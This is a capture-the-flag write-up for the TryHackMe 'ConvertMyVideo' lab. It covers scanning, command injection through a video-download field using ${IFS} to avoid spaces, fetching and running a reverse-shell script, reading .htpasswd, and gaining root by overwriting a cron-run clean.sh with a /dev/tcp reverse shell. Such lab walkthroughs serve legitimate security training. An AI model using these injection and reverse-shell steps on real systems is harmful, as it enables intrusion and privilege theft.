TryHackMe - ConvertMyVideo

• Room

Nmap

Starting Nmap 7.60 ( https://nmap.org ) at 2022-07-05 21:48 BST
Stats: 0:20:37 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 99.99% done; ETC: 22:09 (0:00:00 remaining)
Nmap scan report for ip-10-10-68-80.eu-west-1.compute.internal (10.10.68.80)
Host is up (0.00047s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 65:1b:fc:74:10:39:df:dd:d0:2d:f0:53:1c:eb:6d:ec (RSA)
|   256 c4:28:04:a5:c3:b9:6a:95:5a:4d:7a:6e:46:e2:14:db (ECDSA)
|_  256 ba:07:bb:cd:42:4a:f2:93:d1:05:d0:b3:4c:b1:d9:b1 (EdDSA)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
MAC Address: 02:61:5C:CF:D0:3B (Unknown)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.60%E=4%D=7/5%OT=22%CT=1%CU=34666%PV=Y%DS=1%DC=D%G=Y%M=02615C%TM
OS:=62C4A916%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=10A%TI=Z%CI=Z%TS=A)
OS:SEQ(SP=105%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M2301ST11NW7%O2=M230
OS:1ST11NW7%O3=M2301NNT11NW7%O4=M2301ST11NW7%O5=M2301ST11NW7%O6=M2301ST11)W
OS:IN(W1=F4B3%W2=F4B3%W3=F4B3%W4=F4B3%W5=F4B3%W6=F4B3)ECN(R=Y%DF=Y%T=40%W=F
OS:507%O=M2301NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)
OS:T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%
OS:S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(
OS:R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0
OS:%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1381.76 seconds

Port 80

• We have a page with a file upload functionality to convert a video

Gobuster

┌──(root💀kali)-[/home/kali/Documents]
└─# gobuster dir -u http://10.10.158.186/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt                                                                                                            1 ⨯
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.158.186/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2022/07/06 17:18:46 Starting gobuster in directory enumeration mode
===============================================================
/images               (Status: 301) [Size: 315] [--> http://10.10.158.186/images/]
/admin                (Status: 401) [Size: 460]                                   
/js                   (Status: 301) [Size: 311] [--> http://10.10.158.186/js/]    
/tmp                  (Status: 301) [Size: 312] [--> http://10.10.158.186/tmp/]

Apache version

• Apache httpd 2.4.29 - CVE-2021-41773

• https://github.com/iilegacyyii/PoC-CVE-2021-41773

• Not going anywhere with this

The dl functionality

• If we use a real youtube video ID it does not work. We get an error message
• First I inspected on burp the request. Sent it to my repeater and played with it a little

• I tried to inject a command after the url, and got interesting info
• Here are the interesting elements of the response

Unable to download webpage: HTTP Error 401: Unauthorized (caused by HTTPError()); please report this issue on https:\/\/yt-dl.org\/bug . Make sure you are using the latest version; type  youtube-dl -U  to update. Be sure to call youtube-dl with the --verbose flag and include its complete output
"result_url":"\/tmp\/downloads\/62d2fd72c199c.mp3

• According to this it is using a binary called youtube-dl and put the converted video to a downloads folder in /tmp

• We can check youtube-dl documentation for more info

• We definitely can push further our cmd injection investigation. We can try using backquotes, and it works
• If I want to do more than just a command without args it is getting tricky because of the space, and url encoding does not work. But if you google linux command without space you find this post on stackoverflow, turns out you can replace a space with ${IFS} which is a var that contains a space! It works if we do ls${IFS}admin but not if we do ls${IFS}-al it seems to interpret our -
• We can still get our user flag this way though, as we saw it listed with the previous command that worked cat${IFS}admin/flag.txt

• Let's try to get a reverse shell all the one liners with reverse have dash sign in them. let's see if we can wget a homemade file with a oneliner shell in it and execute it afterwards.

• We make a file called oneliner.sh and put this in it

bash -i >& /dev/tcp/ATTACKING-MACHINE-IP/4444 0>&1

• Replace the script with your IP

• And we laucnh our python http server in the folder where our shell is

• So now let's try to first wget our file wget${IFS}http://10.13.22.56/oneliner.sh we can already set up our listener so that we do not forget about it rlwrap nc -lvp 4444 our wget seems to work
• Let's try to execute it but before we need to make it executable bash${IFS}oneliner.sh our chmod with +x does not work let's try with 777 chmod${IFS}777${IFS}oneliner.sh and it works
• let's stabilize our shell python3 -c 'import pty; pty.spawn("/bin/bash")'

• If we look around a little we are able to answer question 2 with a cat on .htpasswd
• Let's try to overwrite clean.sh

Privesc

• If we execute linpeas on the target we see that cron is running as root.

• Let's get pspy in our target and execute it

• It seems like there is a clean.sh file that is executed through a probable cron job

bash /var/www/html/tmp/clean.sh 
/bin/sh -c cd /var/www/html/tmp && bash /var/www/html/tmp/clean.sh 
/usr/sbin/CRON -f

• The clean is just an rm -rf downloads

• Let's launch a listener rlwrap nc -lvp 5555

• echo "bash -i >& /dev/tcp/10.13.22.56/5555 0>&1" > /var/www/html/tmp/clean.sh

• And we get a root shell and we can get our flag

Questions

• What is the name of the secret folder? admin (we get this using gobuster, see above)

• What is the user to access the secret folder? to know this we need to do this one we have our reverse shell cat admin/.htpasswd we will get the user and password inside this file.

• I let you find the flags on your own :)